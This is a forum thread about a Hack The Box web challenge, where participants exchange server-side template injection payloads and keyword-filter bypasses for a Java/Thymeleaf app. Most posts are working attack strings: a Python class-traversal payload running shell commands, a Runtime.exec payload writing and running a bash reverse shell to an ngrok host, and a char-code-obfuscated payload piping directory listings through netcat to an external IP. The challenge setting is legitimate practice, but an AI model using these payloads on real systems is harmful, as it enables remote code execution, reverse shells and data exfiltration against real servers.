Posts: 245
Threads: 29
Joined: Nov 2023
Sep 22, 2024, 05:54 AM
(This post was last modified: Sep 22, 2024, 05:57 AM by macavitysworld.)
HTB Web Challenge - Breathtaking View [Hints]
Thanks @paw for the rank!!
Posts: 40
Threads: 2
Joined: Jan 2024
i am getting 400 bad request on every payload even when i am trying __*${7*7}__::.x
Posts: 245
Threads: 29
Joined: Nov 2023
(Sep 22, 2024, 11:01 AM)awwliveyet Wrote: i am getting 400 bad request on every payload even when i am trying __*${7*7}__::.x
Url encode the payload
Thanks @paw for the rank!!
Posts: 20
Threads: 0
Joined: Feb 2024
How to bypass java keyword filter
Posts: 43
Threads: 1
Joined: Oct 2023
(Sep 23, 2024, 11:36 PM)theboxhack Wrote: How to bypass java keyword filter
I tried this construction:
__{{{% for x in ().__class__.__base__.__subclasses__() %}}{{% if "warning" in x.__name__ %}} {{{{x()._module.__builtins__['__import__']('os').popen("cp /flag* /app/src/main/resources/static/flag.txt").read()}}}}{{% endif %}}{{% endfor %}}}__::.x
and got 200 OK response but it seems we need to arrange reverse shell instead of copying flag because of write permissions to the web site dir
Posts: 70
Threads: 7
Joined: Jul 2024
__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "echo 'bash -i >& /dev/tcp/NGROK/PORT 0>&1' > shell.sh"})}__::.x
__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "bash shell.sh"})}__::.x
Posts: 245
Threads: 29
Joined: Nov 2023
(Sep 23, 2024, 11:36 PM)theboxhack Wrote: How to bypass java keyword filter
hex, unicode, ascii etc etc
Thanks @paw for the rank!!
Posts: 2
Threads: 0
Joined: Sep 2024
Can you help me with bypass filter java? I try hex, unicode,base64 but no happen.
Posts: 245
Threads: 29
Joined: Nov 2023
(Sep 25, 2024, 02:23 PM)hades1204 Wrote: Can you help me with bypass filter java? I try hex, unicode,base64 but no happen.
https://pulsesecurity.co.nz/articles/EL-...WAF-Bypass
Thanks @paw for the rank!!
Posts: 2
Threads: 0
Joined: Sep 2024
__${true.getClass.forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(114)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).getMethods()[6].invoke(true.getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(114)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).exec(true.toString().charAt(0).toChars(115)[0].toString().concat(true.toString().charAt(0).toChars(104)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(45)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(36)[0].toString()).concat(true.toString().charAt(0).toChars(64)[0].toString()).concat(true.toString().charAt(0).toChars(124)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(104)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(104)[0].toString()).concat(true.toString().charAt(0).toChars(111)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(45)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(124)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(49)[0].toString()).concat(true.toString().charAt(0).toChars(48)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(52)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(55)[0].toString()).concat(true.toString().charAt(0).toChars(53)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(50)[0].toString()).concat(true.toString().charAt(0).toChars(50)[0].toString()).concat(true.toString().charAt(0).toChars(56)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(49)[0].toString()).concat(true.toString().charAt(0).toChars(51)[0].toString()).concat(true.toString().charAt(0).toChars(51)[0].toString()).concat(true.toString().charAt(0).toChars(55)[0].toString())).getInputStream()).next()}__::.x
response 400. I don't know why?
|